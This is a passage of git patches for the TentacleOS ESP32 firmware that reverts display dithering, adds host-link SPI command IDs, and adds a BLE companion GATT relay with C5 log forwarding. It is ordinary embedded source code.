Sat, 6 Jun 2026 20:26:10 -0300 Subject: [PATCH 046/572] revert(display): drop XRGB8888 dithering and restore the RGB565 pipeline --- .../Service/lvgl_port/lv_port_disp.c | 65 ++++--------------- firmware_p4/sdkconfig.defaults | 4 -- 2 files changed, 12 insertions(+), 57 deletions(-) diff --git a/firmware_p4/components/Service/lvgl_port/lv_port_disp.c b/firmware_p4/components/Service/lvgl_port/lv_port_disp.c index a5de8bf54..b7ef46893 100644 --- a/firmware_p4/components/Service/lvgl_port/lv_port_disp.c +++ b/firmware_p4/components/Service/lvgl_port/lv_port_disp.c @@ -25,30 +25,12 @@ static const char *TAG = "LV_PORT_DISP"; -// LVGL renders into XRGB8888 buffers (4 bytes/px) so gradients are interpolated -// at 8 bits per channel; disp_flush then dithers them down to RGB565 in place -// before the panel transfer. Using a quarter of the lines keeps internal DMA RAM -// usage equal to the old RGB565 buffers (4 bytes/px over half as many lines). -#define LVGL_BUF_LINES (LCD_V_RES / 4) +#define LVGL_BUF_LINES (LCD_V_RES / 2) #define LVGL_BUF_PIXELS (LCD_H_RES * LVGL_BUF_LINES) -#define LVGL_BUF_BYTES (LVGL_BUF_PIXELS * 4) #define LVGL_BUF_ALLOC (MALLOC_CAP_DMA | MALLOC_CAP_INTERNAL) static lv_display_t *s_disp_handle = NULL; -// Ordered 8x8 Bayer threshold matrix (values 0..63), indexed by screen -// coordinates so the dither pattern stays stable across partial flushes. -static const uint8_t s_bayer8[8][8] = { - {0, 32, 8, 40, 2, 34, 10, 42}, {48, 16, 56, 24, 50, 18, 58, 26}, - {12, 44, 4, 36, 14, 46, 6, 38}, {60, 28, 52, 20, 62, 30, 54, 22}, - {3, 35, 11, 43, 1, 33, 9, 41}, {51, 19, 59, 27, 49, 17, 57, 25}, - {15, 47, 7, 39, 13, 45, 5, 37}, {63, 31, 55, 23, 61, 29, 53, 21}, -}; - -static inline uint8_t clamp_u8(int v) { - return v < 0 ? 0 : (v > 255 ? 255 : (uint8_t)v); -} - static bool flush_ready_cb(esp_lcd_panel_io_handle_t panel_io, esp_lcd_panel_io_event_data_t *edata, void *user_ctx) { @@ -60,39 +42,14 @@ static bool flush_ready_cb(esp_lcd_panel_io_handle_t panel_io, static void disp_flush(lv_display_t *disp, const lv_area_t *area, uint8_t *px_map) { uint32_t w = lv_area_get_width(area); uint32_t h = lv_area_get_height(area); + uint32_t px_count = w * h; - // Dither in place: the RGB565 output (2 bytes/px) is written into the front of - // the same buffer. The write cursor always trails the XRGB8888 read cursor - // (4 bytes/px), so every source pixel is consumed before it can be overwritten. - const lv_color32_t *src = (const lv_color32_t *)px_map; - uint16_t *dst = (uint16_t *)px_map; - - for (uint32_t row = 0; row < h; row++) { - const uint8_t *bayer_row = s_bayer8[(area->y1 + row) & 7]; - const lv_color32_t *src_row = &src[row * w]; - uint16_t *dst_row = &dst[row * w]; - - for (uint32_t col = 0; col < w; col++) { - const lv_color32_t *p = &src_row[col]; - uint8_t t = bayer_row[(area->x1 + col) & 7]; - - // Add up to one display LSB of ordered noise before truncating: the - // R/B channels keep 5 bits (LSB step 8), G keeps 6 bits (step 4). - uint8_t r = clamp_u8(p->red + ((t * 8) >> 6)); - uint8_t g = clamp_u8(p->green + ((t * 4) >> 6)); - uint8_t b = clamp_u8(p->blue + ((t * 8) >> 6)); + lv_draw_sw_rgb565_swap(px_map, px_count); - uint16_t rgb565 = ((uint16_t)(r & 0xF8) << 8) | ((uint16_t)(g & 0xFC) << 3) | (b >> 3); - - // ST7789 expects the high byte first. - dst_row[col] = (uint16_t)((rgb565 << 8) | (rgb565 >> 8)); - } - } - - esp_lcd_panel_draw_bitmap(panel_handle, area->x1, area->y1, area->x2 + 1, area->y2 + 1, dst); + esp_lcd_panel_draw_bitmap(panel_handle, area->x1, area->y1, area->x2 + 1, area->y2 + 1, px_map); if (ble_screen_server_is_active()) { - ble_screen_server_send_partial(dst, area->x1, area->y1, w, h); + ble_screen_server_send_partial((const uint16_t *)px_map, area->x1, area->y1, w, h); } } @@ -100,15 +57,17 @@ void lv_port_disp_init(void) { s_disp_handle = lv_display_create(LCD_H_RES, LCD_V_RES); lv_display_set_flush_cb(s_disp_handle, disp_flush); - void *buf1 = heap_caps_malloc(LVGL_BUF_BYTES, LVGL_BUF_ALLOC); - void *buf2 = heap_caps_malloc(LVGL_BUF_BYTES, LVGL_BUF_ALLOC); + size_t buf_size = LVGL_BUF_PIXELS * sizeof(lv_color_t); + + void *buf1 = heap_caps_malloc(buf_size, LVGL_BUF_ALLOC); + void *buf2 = heap_caps_malloc(buf_size, LVGL_BUF_ALLOC); if (buf1 == NULL || buf2 == NULL) { - ESP_LOGE(TAG, "Failed to allocate display buffers (%u bytes each)", (unsigned)LVGL_BUF_BYTES); + ESP_LOGE(TAG, "Failed to allocate display buffers (%u bytes each)", (unsigned)buf_size); return; } - lv_display_set_buffers(s_disp_handle, buf1, buf2, LVGL_BUF_BYTES, LV_DISPLAY_RENDER_MODE_PARTIAL); + lv_display_set_buffers(s_disp_handle, buf1, buf2, buf_size, LV_DISPLAY_RENDER_MODE_PARTIAL); const esp_lcd_panel_io_callbacks_t cbs = { .on_color_trans_done = flush_ready_cb, @@ -119,5 +78,5 @@ void lv_port_disp_init(void) { "Display port initialized (%dx%d, buf: %u bytes x2)", LCD_H_RES, LCD_V_RES, - (unsigned)LVGL_BUF_BYTES); + (unsigned)buf_size); } diff --git a/firmware_p4/sdkconfig.defaults b/firmware_p4/sdkconfig.defaults index 8177c51a3..f83a64cd9 100644 --- a/firmware_p4/sdkconfig.defaults +++ b/firmware_p4/sdkconfig.defaults @@ -45,9 +45,5 @@ CONFIG_FREERTOS_USE_STATS_FORMATTING_FUNCTIONS=y CONFIG_LV_FONT_MONTSERRAT_12=y CONFIG_LV_FONT_MONTSERRAT_14=y -# Render internally at XRGB8888 so gradients are interpolated at 8 bits/channel. -# The display port dithers down to RGB565 at flush time to remove banding. -CONFIG_LV_COLOR_DEPTH_32=y - # Default log level INFO CONFIG_LOG_DEFAULT_LEVEL_INFO=y From 706c004dba65703cc0e9b4dfc4d730744669b0e9 Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Sat, 6 Jun 2026 22:29:01 -0300 Subject: [PATCH 047/572] feat(spi): add host-link relay category and file/state/log ops --- .../Service/spi_bridge/include/spi_protocol.h | 48 +++++++++++++++++++ .../Service/spi_bridge/include/spi_protocol.h | 48 +++++++++++++++++++ 2 files changed, 96 insertions(+) diff --git a/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h b/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h index 75cf5cd12..0e2eec62a 100644 --- a/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h +++ b/firmware_c5/components/Service/spi_bridge/include/spi_protocol.h @@ -54,6 +54,7 @@ typedef enum { SPI_CAT_LORA = 0x03, SPI_CAT_MESH = 0x04, // Meshtastic phone bridge SPI_CAT_MCORE = 0x05, // MeshCore phone bridge + SPI_CAT_HOST = 0x06, // Companion host-link BLE relay SPI_CAT_SESSION = 0xFF } spi_cat_t; @@ -77,6 +78,23 @@ typedef enum { SPI_ID_SYSTEM_VERSION = SPI_CMD(SPI_CAT_SYSTEM, 0x04), SPI_ID_SYSTEM_DATA = SPI_CMD(SPI_CAT_SYSTEM, 0x05), SPI_ID_SYSTEM_STREAM = SPI_CMD(SPI_CAT_SYSTEM, 0x06), + SPI_ID_SYSTEM_LOG = SPI_CMD(SPI_CAT_SYSTEM, 0x07), // C5→P4 stream: log lines [level u8][utf-8] + + // Companion file ops. P4-local host-link commands (the P4 owns flash + SD); + // listed here only so the app and P4 share one id space. Never relayed to C5. + SPI_ID_FILE_LIST = SPI_CMD(SPI_CAT_SYSTEM, 0x40), + SPI_ID_FILE_STAT = SPI_CMD(SPI_CAT_SYSTEM, 0x41), + SPI_ID_FILE_READ = SPI_CMD(SPI_CAT_SYSTEM, 0x42), + SPI_ID_FILE_WRITE = SPI_CMD(SPI_CAT_SYSTEM, 0x43), + SPI_ID_FILE_DELETE = SPI_CMD(SPI_CAT_SYSTEM, 0x44), + SPI_ID_FILE_MKDIR = SPI_CMD(SPI_CAT_SYSTEM, 0x45), + + // Companion device state + settings + console exec. Also P4-local host-link + // commands (never relayed to C5); ids shared so the app and P4 agree. + SPI_ID_SYSTEM_DEVICE_STATE = SPI_CMD(SPI_CAT_SYSTEM, 0x46), + SPI_ID_SYSTEM_CONSOLE_EXEC = SPI_CMD(SPI_CAT_SYSTEM, 0x47), + SPI_ID_SYSTEM_GET_SETTINGS = SPI_CMD(SPI_CAT_SYSTEM, 0x48), + SPI_ID_SYSTEM_SET_SETTINGS = SPI_CMD(SPI_CAT_SYSTEM, 0x49), // WiFi Basic SPI_ID_WIFI_SCAN = SPI_CMD(SPI_CAT_WIFI, 0x10), @@ -201,6 +219,14 @@ typedef enum { SPI_ID_MCORE_RX_STREAM = SPI_CMD(SPI_CAT_MCORE, 0x9B), SPI_ID_MCORE_STATUS = SPI_CMD(SPI_CAT_MCORE, 0x9C), + // Companion host-link BLE relay (C5 owns BLE; transparent byte ferry — all + // crypto/auth lives on the P4). Mirrors the MeshCore phone-bridge pattern. + SPI_ID_HOST_BLE_INIT = SPI_CMD(SPI_CAT_HOST, 0xA0), // P4→C5: start GATT + advertise + SPI_ID_HOST_BLE_STOP = SPI_CMD(SPI_CAT_HOST, 0xA1), // P4→C5: stop GATT + SPI_ID_HOST_TX = SPI_CMD(SPI_CAT_HOST, 0xA2), // P4→C5 push: device→app (BLE notify) + SPI_ID_HOST_RX = SPI_CMD(SPI_CAT_HOST, 0xA3), // C5→P4 stream: app→device (BLE write) + SPI_ID_HOST_STATUS = SPI_CMD(SPI_CAT_HOST, 0xA4), // poll BLE connection state + // Session lifecycle (long-running operations) SPI_ID_SESSION_HEARTBEAT = SPI_CMD(SPI_CAT_SESSION, 0xF0), SPI_ID_SESSION_LOST = SPI_CMD(SPI_CAT_SESSION, 0xF1), @@ -434,6 +460,28 @@ typedef struct { uint8_t reserved[2]; } __attribute__((packed)) spi_mcore_status_t; +/** + * @brief Companion host-link BLE init payload. + * + * Sent with SPI_ID_HOST_BLE_INIT. The C5 advertises as "-XXXX" + * (last 4 hex of MAC). BLE bonding is "just works" (LE Secure Connections, + * no MITM) — the host-link PSK/HMAC envelope on the P4 is the trust boundary. + */ +typedef struct { + char name_prefix[16]; +} __attribute__((packed)) spi_host_init_t; + +/** + * @brief Companion host-link transport status payload. + * + * Returned by SPI_ID_HOST_STATUS. + */ +typedef struct { + uint8_t ble_connected; + uint8_t ble_subscribed; + uint8_t reserved[2]; +} __attribute__((packed)) spi_host_status_t; + #ifdef __cplusplus } #endif diff --git a/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h b/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h index ea1222327..3ab02d845 100644 --- a/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h +++ b/firmware_p4/components/Service/spi_bridge/include/spi_protocol.h @@ -54,6 +54,7 @@ typedef enum { SPI_CAT_LORA = 0x03, SPI_CAT_MESH = 0x04, // Meshtastic phone bridge SPI_CAT_MCORE = 0x05, // MeshCore phone bridge + SPI_CAT_HOST = 0x06, // Companion host-link BLE relay SPI_CAT_SESSION = 0xFF } spi_cat_t; @@ -77,6 +78,23 @@ typedef enum { SPI_ID_SYSTEM_VERSION = SPI_CMD(SPI_CAT_SYSTEM, 0x04), SPI_ID_SYSTEM_DATA = SPI_CMD(SPI_CAT_SYSTEM, 0x05), SPI_ID_SYSTEM_STREAM = SPI_CMD(SPI_CAT_SYSTEM, 0x06), + SPI_ID_SYSTEM_LOG = SPI_CMD(SPI_CAT_SYSTEM, 0x07), // C5→P4 stream: log lines [level u8][utf-8] + + // Companion file ops. P4-local host-link commands (the P4 owns flash + SD); + // listed here only so the app and P4 share one id space. Never relayed to C5. + SPI_ID_FILE_LIST = SPI_CMD(SPI_CAT_SYSTEM, 0x40), + SPI_ID_FILE_STAT = SPI_CMD(SPI_CAT_SYSTEM, 0x41), + SPI_ID_FILE_READ = SPI_CMD(SPI_CAT_SYSTEM, 0x42), + SPI_ID_FILE_WRITE = SPI_CMD(SPI_CAT_SYSTEM, 0x43), + SPI_ID_FILE_DELETE = SPI_CMD(SPI_CAT_SYSTEM, 0x44), + SPI_ID_FILE_MKDIR = SPI_CMD(SPI_CAT_SYSTEM, 0x45), + + // Companion device state + settings + console exec. Also P4-local host-link + // commands (never relayed to C5); ids shared so the app and P4 agree. + SPI_ID_SYSTEM_DEVICE_STATE = SPI_CMD(SPI_CAT_SYSTEM, 0x46), + SPI_ID_SYSTEM_CONSOLE_EXEC = SPI_CMD(SPI_CAT_SYSTEM, 0x47), + SPI_ID_SYSTEM_GET_SETTINGS = SPI_CMD(SPI_CAT_SYSTEM, 0x48), + SPI_ID_SYSTEM_SET_SETTINGS = SPI_CMD(SPI_CAT_SYSTEM, 0x49), // WiFi Basic SPI_ID_WIFI_SCAN = SPI_CMD(SPI_CAT_WIFI, 0x10), @@ -208,6 +226,14 @@ typedef enum { SPI_ID_MCORE_RX_STREAM = SPI_CMD(SPI_CAT_MCORE, 0x9B), SPI_ID_MCORE_STATUS = SPI_CMD(SPI_CAT_MCORE, 0x9C), + // Companion host-link BLE relay (C5 owns BLE; transparent byte ferry — all + // crypto/auth lives on the P4). Mirrors the MeshCore phone-bridge pattern. + SPI_ID_HOST_BLE_INIT = SPI_CMD(SPI_CAT_HOST, 0xA0), // P4→C5: start GATT + advertise + SPI_ID_HOST_BLE_STOP = SPI_CMD(SPI_CAT_HOST, 0xA1), // P4→C5: stop GATT + SPI_ID_HOST_TX = SPI_CMD(SPI_CAT_HOST, 0xA2), // P4→C5 push: device→app (BLE notify) + SPI_ID_HOST_RX = SPI_CMD(SPI_CAT_HOST, 0xA3), // C5→P4 stream: app→device (BLE write) + SPI_ID_HOST_STATUS = SPI_CMD(SPI_CAT_HOST, 0xA4), // poll BLE connection state + // Session lifecycle (long-running operations) SPI_ID_SESSION_HEARTBEAT = SPI_CMD(SPI_CAT_SESSION, 0xF0), SPI_ID_SESSION_LOST = SPI_CMD(SPI_CAT_SESSION, 0xF1), @@ -499,6 +525,28 @@ typedef struct { uint8_t reserved[2]; } __attribute__((packed)) spi_mcore_status_t; +/** + * @brief Companion host-link BLE init payload. + * + * Sent with SPI_ID_HOST_BLE_INIT. The C5 advertises as "-XXXX" + * (last 4 hex of MAC). BLE bonding is "just works" (LE Secure Connections, + * no MITM) — the host-link PSK/HMAC envelope on the P4 is the trust boundary. + */ +typedef struct { + char name_prefix[16]; +} __attribute__((packed)) spi_host_init_t; + +/** + * @brief Companion host-link transport status payload. + * + * Returned by SPI_ID_HOST_STATUS. + */ +typedef struct { + uint8_t ble_connected; + uint8_t ble_subscribed; + uint8_t reserved[2]; +} __attribute__((packed)) spi_host_status_t; + #ifdef __cplusplus } #endif From 7e4cb68897c9107636c3d3d54bc462827256502c Mon Sep 17 00:00:00 2001 From: Emanuel Magalhaes Date: Sat, 6 Jun 2026 22:30:20 -0300 Subject: [PATCH 048/572] feat(c5): BLE companion GATT relay and C5 log forwarding --- firmware_c5/components/Core/kernel.c | 2 + firmware_c5/components/Service/CMakeLists.txt | 5 +- .../components/Service/host_link/c5_log.c | 150 ++++++++ .../Service/host_link/host_link_gatt.c | 358 ++++++++++++++++++ .../Service/host_link/host_transport.c | 205 ++++++++++ .../Service/host_link/include/c5_log.h | 38 ++ .../host_link/include/host_link_gatt.h | 56 +++ .../host_link/include/host_transport.h | 58 +++ .../Service/spi_bridge/bt_dispatcher.c | 35 ++ .../Service/spi_bridge/spi_bridge.c | 1 + 10 files changed, 907 insertions(+), 1 deletion(-) create mode 100644 firmware_c5/components/Service/host_link/c5_log.c create mode 100644 firmware_c5/components/Service/host_link/host_link_gatt.c create mode 100644 firmware_c5/components/Service/host_link/host_transport.c create mode 100644 firmware_c5/components/Service/host_link/include/c5_log.h create mode 100644 firmware_c5/components/Service/host_link/include/host_link_gatt.h create mode 100644 firmware_c5/components/Service/host_link/include/host_transport.h diff --git a/firmware_c5/components/Core/kernel.c b/firmware_c5/components/Core/kernel.c index f1a3f911a..5fd37d852 100644 --- a/firmware_c5/components/Core/kernel.c +++ b/firmware_c5/components/Core/kernel.c @@ -26,6 +26,7 @@ #include "bq25896.h" #include "buttons_gpio.h" +#include "c5_log.h" #include "i2c_init.h" #include "led_control.h" #include "pin_def.h" @@ -56,6 +57,7 @@ void kernel_init(void) { // led_rgb_init(); bq25896_init(); spi_bridge_slave_init(); + c5_log_init(); // tee C5 logs to the P4 over SPI for the companion console sys_monitor(false); diff --git a/firmware_c5/components/Service/CMakeLists.txt b/firmware_c5/components/Service/CMakeLists.txt index 2d08f2ae1..ccafd992c 100644 --- a/firmware_c5/components/Service/CMakeLists.txt +++ b/firmware_c5/components/Service/CMakeLists.txt @@ -17,6 +17,7 @@ file(GLOB_RECURSE SPI_BRIDGE_SRCS "spi_bridge/*.c") file(GLOB_RECURSE SD_CARD_SRCS "sd_card/*.c") file(GLOB_RECURSE MESHTASTIC_SRCS "meshtastic/*.c") file(GLOB_RECURSE MESHCORE_SRCS "meshcore/*.c") +file(GLOB_RECURSE HOST_LINK_SRCS "host_link/*.c") idf_component_register(SRCS @@ -42,7 +43,8 @@ idf_component_register(SRCS ${SD_CARD_SRCS} ${MESHTASTIC_SRCS} ${MESHCORE_SRCS} - INCLUDE_DIRS + ${HOST_LINK_SRCS} + INCLUDE_DIRS "wifi/include" "http_server/include" "dns_server/include" @@ -55,6 +57,7 @@ idf_component_register(SRCS "sd_card/include" "meshtastic/include" "meshcore/include" + "host_link/include" diff --git a/firmware_c5/components/Service/host_link/c5_log.c b/firmware_c5/components/Service/host_link/c5_log.c new file mode 100644 index 000000000..d696205bf --- /dev/null +++ b/firmware_c5/components/Service/host_link/c5_log.c @@ -0,0 +1,150 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "c5_log.h" + +#include +#include +#include + +#include "esp_log.h" +#include "freertos/FreeRTOS.h" +#include "freertos/queue.h" +#include "freertos/task.h" + +#include "spi_bridge.h" +#include "spi_protocol.h" + +#define C5_LOG_TEXT_MAX 240 // bytes of stripped text kept per line +#define C5_LOG_QUEUE_DEPTH 24 // ring slots (drop-oldest beyond this) +#define C5_LOG_TASK_STK 3072 +#define C5_LOG_TASK_PRIO 4 + +typedef struct { + uint8_t level; + uint16_t len; + char text[C5_LOG_TEXT_MAX]; +} log_line_t; + +static QueueHandle_t s_log_queue = NULL; +static TaskHandle_t s_log_task = NULL; +static vprintf_like_t s_prev_vprintf = NULL; +static volatile uint32_t s_dropped = 0; + +// Level enum on the wire: matches the P4 host_link_level_t (E=0,W=1,I=2,D=3,V=4). +static uint8_t level_from_letter(char c) { + switch (c) { + case 'E': + return 0; + case 'W': + return 1; + case 'D': + return 3; + case 'V': + return 4; + case 'I': + default: + return 2; + } +} + +// Copy src→dst dropping CSI/ANSI escape sequences and trailing CR/LF. +static uint16_t strip_ansi(const char *src, int src_len, char *dst, uint16_t dst_cap) { + uint16_t n = 0; + for (int i = 0; i < src_len && n < dst_cap; i++) { + char c = src[i]; + if (c == '\033') { + i++; // skip '[' + while (i + 1 < src_len && !(src[i + 1] >= '@' && src[i + 1] <= '~')) + i++; + i++; // skip the final byte of the sequence + continue; + } + dst[n++] = c; + } + while (n > 0 && (dst[n - 1] == '\n' || dst[n - 1] == '\r')) + n--; + return n; +} + +static int log_vprintf(const char *fmt, va_list args) { + int ret = 0; + if (s_prev_vprintf != NULL) { + va_list args_copy; + va_copy(args_copy, args); + ret = s_prev_vprintf(fmt, args_copy); + va_end(args_copy); + } + + if (s_log_queue == NULL) + return ret; + + char raw[C5_LOG_TEXT_MAX * 2]; + int raw_len = vsnprintf(raw, sizeof(raw), fmt, args); + if (raw_len <= 0) + return ret; + if (raw_len > (int)sizeof(raw) - 1) + raw_len = (int)sizeof(raw) - 1; + + log_line_t line; + line.len = strip_ansi(raw, raw_len, line.text, sizeof(line.text)); + if (line.len == 0) + return ret; + line.level = level_from_letter(line.text[0]); + + if (xQueueSend(s_log_queue, &line, 0) != pdTRUE) { + log_line_t discard; + if (xQueueReceive(s_log_queue, &discard, 0) == pdTRUE) + s_dropped++; + xQueueSend(s_log_queue, &line, 0); + } + return ret; +} + +static void log_task(void *arg) { + (void)arg; + log_line_t line; + uint8_t record[1 + C5_LOG_TEXT_MAX]; + for (;;) { + if (xQueueReceive(s_log_queue, &line, portMAX_DELAY) != pdTRUE) + continue; + // Push to the P4 only when the stream is enabled (a companion is listening). + if (!spi_bridge_stream_is_enabled(SPI_ID_SYSTEM_LOG)) + continue; + record[0] = line.level; + memcpy(record + 1, line.text, line.len); + spi_bridge_stream_push(SPI_ID_SYSTEM_LOG, record, (uint8_t)(1 + line.len)); + } +} + +esp_err_t c5_log_init(void) { + if (s_log_queue != NULL) + return ESP_OK; // already installed + + s_log_queue = xQueueCreate(C5_LOG_QUEUE_DEPTH, sizeof(log_line_t)); + if (s_log_queue == NULL) + return ESP_ERR_NO_MEM; + + if (xTaskCreate(log_task, "c5_log", C5_LOG_TASK_STK, NULL, C5_LOG_TASK_PRIO, &s_log_task) != + pdPASS) { + vQueueDelete(s_log_queue); + s_log_queue = NULL; + return ESP_FAIL; + } + + spi_bridge_stream_enable(SPI_ID_SYSTEM_LOG, true); + s_prev_vprintf = esp_log_set_vprintf(log_vprintf); + return ESP_OK; +} diff --git a/firmware_c5/components/Service/host_link/host_link_gatt.c b/firmware_c5/components/Service/host_link/host_link_gatt.c new file mode 100644 index 000000000..06141c944 --- /dev/null +++ b/firmware_c5/components/Service/host_link/host_link_gatt.c @@ -0,0 +1,358 @@ +// Copyright (c) 2025 HIGH CODE LLC +// +// TentacleOS is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// TentacleOS is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with TentacleOS. If not, see . + +#include "host_link_gatt.h" + +#include +#include + +#include "esp_log.h" +#include "esp_mac.h" +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "host/ble_gap.h" +#include "host/ble_gatt.h" +#include "host/ble_hs.h" +#include "host/ble_uuid.h" +#include "host/util/util.h" +#include "nimble/nimble_port.h" +#include "nimble/nimble_port_freertos.h" +#include "nvs_flash.h" +#include "services/gap/ble_svc_gap.h" +#include "services/gatt/ble_svc_gatt.h" + +#include "bluetooth_service.h" +#include "host_transport.h" + +extern void ble_store_config_init(void); + +static const char *TAG = "HOST_GATT"; + +#define HOST_PREFERRED_MTU 512 +#define HOST_RX_FRAME_MAX 512 +#define HOST_DEVICE_NAME_LEN 32 + +// TentacleOS companion host-link service (NUS-style, byte 14 = 0x54 'T' to keep +// it distinct from the MeshCore NUS variant). UUIDs are TBD-final. +static const ble_uuid128_t HOST_SERVICE_UUID = BLE_UUID128_INIT( + 0x9E, 0xCA, 0xDC, 0x24, 0x0E, 0xE5, 0xA9, 0xE0, 0x93, 0xF3, 0xA3, 0xB5, 0x01, 0x00, 0x54, 0x6E); +static const ble_uuid128_t HOST_RX_UUID = BLE_UUID128_INIT( + 0x9E, 0xCA, 0xDC, 0x24, 0x0E, 0xE5, 0xA9, 0xE0, 0x93, 0xF3, 0xA3, 0xB5, 0x02, 0x00, 0x54, 0x6E); +static const ble_uuid128_t HOST_TX_UUID = BLE_UUID128_INIT( + 0x9E, 0xCA, 0xDC, 0x24, 0x0E, 0xE5, 0xA9, 0xE0, 0x93, 0xF3, 0xA3, 0xB5, 0x03, 0x00, 0x54, 0x6E); + +static bool s_is_running = false; +static bool s_is_connected = false; +static bool s_is_subscribed = false; +static uint16_t s_conn_handle = BLE_HS_CONN_HANDLE_NONE; +static uint16_t s_tx_attr_handle = 0; +static uint8_t s_own_addr_type = 0; +static char s_device_name[HOST_DEVICE_NAME_LEN] = {0}; +static uint8_t s_rx_buf[HOST_RX_FRAME_MAX]; + +static void advertise_start(void); +static int gap_event(struct ble_gap_event *event, void *arg); +static int rx_access(uint16_t conn, uint16_t attr, struct ble_gatt_access_ctxt *ctxt, void *arg); +static int tx_access(uint16_t conn, uint16_t attr, struct ble_gatt_access_ctxt *ctxt, void *arg); +static void on_sync(void); +static void on_reset(int reason); +static void host_task(void *param); + +static const struct ble_gatt_svc_def GATT_SERVICES[] = { + { + .type = BLE_GATT_SVC_TYPE_PRIMARY, + .uuid = &HOST_SERVICE_UUID.u, + .characteristics = + (struct ble_gatt_chr_def[]){ + { + .uuid = &HOST_RX_UUID.u, + .access_cb = rx_access, + .flags = BLE_GATT_CHR_F_WRITE | BLE_GATT_CHR_F_WRITE_NO_RSP, + }, + { + .uuid = &HOST_TX_UUID.u, + .access_cb = tx_access, + .val_handle = &s_tx_attr_handle, + .flags = BLE_GATT_CHR_F_READ | BLE_GATT_CHR_F_NOTIFY, + }, + {0}, + }, + }, + {0}, +}; + +esp_err_t host_link_gatt_init(const char *name_prefix) { + if (name_prefix == NULL) { + return ESP_ERR_INVALID_ARG; + } + if (s_is_running) { + return ESP_ERR_INVALID_STATE; + } + if (bluetooth_service_is_running()) { + ESP_LOGE(TAG, "bluetooth_service already owns NimBLE — refuse init"); + return ESP_ERR_INVALID_STATE; + } + + esp_err_t ret = host_transport_init(); + if (ret != ESP_OK) { + return ret; + } + + ret = nvs_flash_init(); + if (ret == ESP_ERR_NVS_NO_FREE_PAGES || ret == ESP_ERR_NVS_NEW_VERSION_FOUND) { + nvs_flash_erase(); + ret = nvs_flash_init(); + } + if (ret != ESP_OK) { + ESP_LOGE(TAG, "NVS init failed: %s", esp_err_to_name(ret)); + return ret; + } + + s_is_connected = false; + s_is_subscribed = false; + s_conn_handle = BLE_HS_CONN_HANDLE_NONE; + + uint8_t mac[6] = {0}; + esp_efuse_mac_get_default(mac); + snprintf(s_device_name, sizeof(s_device_name), "%s-%02X%02X", name_prefix, mac[4], mac[5]); + + ret = nimble_port_init(); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "nimble_port_init failed: %s", esp_err_to_name(ret)); + return ret; + } + + // "Just works" LE Secure Connections + bonding. App-level auth (PSK/HMAC) on + // the P4 is the trust boundary, so no MITM passkey is required here. + ble_hs_cfg.sm_io_cap = BLE_SM_IO_CAP_NO_IO; + ble_hs_cfg.sm_bonding = 1; + ble_hs_cfg.sm_mitm = 0; + ble_hs_cfg.sm_sc = 1; + ble_hs_cfg.sm_our_key_dist = BLE_SM_PAIR_KEY_DIST_ENC | BLE_SM_PAIR_KEY_DIST_ID; + ble_hs_cfg.sm_their_key_dist = BLE_SM_PAIR_KEY_DIST_ENC | BLE_SM_PAIR_KEY_DIST_ID; + ble_hs_cfg.reset_cb = on_reset; + ble_hs_cfg.sync_cb = on_sync; + ble_hs_cfg.store_status_cb = ble_store_util_status_rr; + + ble_svc_gap_init(); + ble_svc_gatt_init(); + ble_svc_gap_device_name_set(s_device_name); + + int rc = ble_gatts_count_cfg(GATT_SERVICES); + if (rc != 0) { + ESP_LOGE(TAG, "ble_gatts_count_cfg failed rc=%d", rc); + return ESP_FAIL; + } + rc = ble_gatts_add_svcs(GATT_SERVICES); + if (rc != 0) { + ESP_LOGE(TAG, "ble_gatts_add_svcs failed rc=%d", rc); + return ESP_FAIL; + } + + ble_att_set_preferred_mtu(HOST_PREFERRED_MTU); + ble_store_config_init(); + nimble_port_freertos_init(host_task); + + s_is_running = true; + ESP_LOGI(TAG, "Initialized — name='%s'", s_device_name); + return ESP_OK; +} + +void host_link_gatt_stop(void) { + if (!s_is_running) { + return; + } + ble_gap_adv_stop(); + if (s_is_connected && s_conn_handle != BLE_HS_CONN_HANDLE_NONE) { + ble_gap_terminate(s_conn_handle, BLE_ERR_REM_USER_CONN_TERM); + } + nimble_port_stop(); + s_is_running = false; + s_is_connected = false; + s_is_subscribed = false; + s_conn_handle = BLE_HS_CONN_HANDLE_NONE; + host_transport_reset(); +} + +bool host_link_gatt_is_running(void) { + return s_is_running; +} + +bool host_link_gatt_is_connected(void) { + return s_is_connected; +} + +bool host_link_gatt_is_subscribed(void) { + return s_is_subscribed; +} + +void host_link_gatt_notify(const uint8_t *frame, uint16_t len) { + if (frame == NULL || len == 0) { + return; + } + if (!s_is_connected || s_tx_attr_handle == 0) { + return; + } + + // A notification can carry at most (ATT_MTU - 3) bytes. Frames larger than + // that span multiple notifications; the app reassembles by the host-frame + // LEN field (notifications are ordered on the ATT connection). + uint16_t mtu = ble_att_mtu(s_conn_handle); + uint16_t slice_max = (mtu > 3) ? (uint16_t)(mtu - 3) : 20; + + uint16_t offset = 0; + while (offset < len) { + uint16_t slice = (uint16_t)(len - offset); + if (slice > slice_max) { + slice = slice_max; + } + struct os_mbuf *om = ble_hs_mbuf_from_flat(frame + offset, slice); + if (om == NULL) { + ESP_LOGW(TAG, "mbuf alloc failed (%u bytes)", slice); + return; + } + int rc = ble_gatts_notify_custom(s_conn_handle, s_tx_attr_handle, om); + if (rc != 0) { + ESP_LOGW(TAG, "notify failed rc=%d", rc); + return; + } + offset += slice; + } +} + +static int rx_access(uint16_t conn, 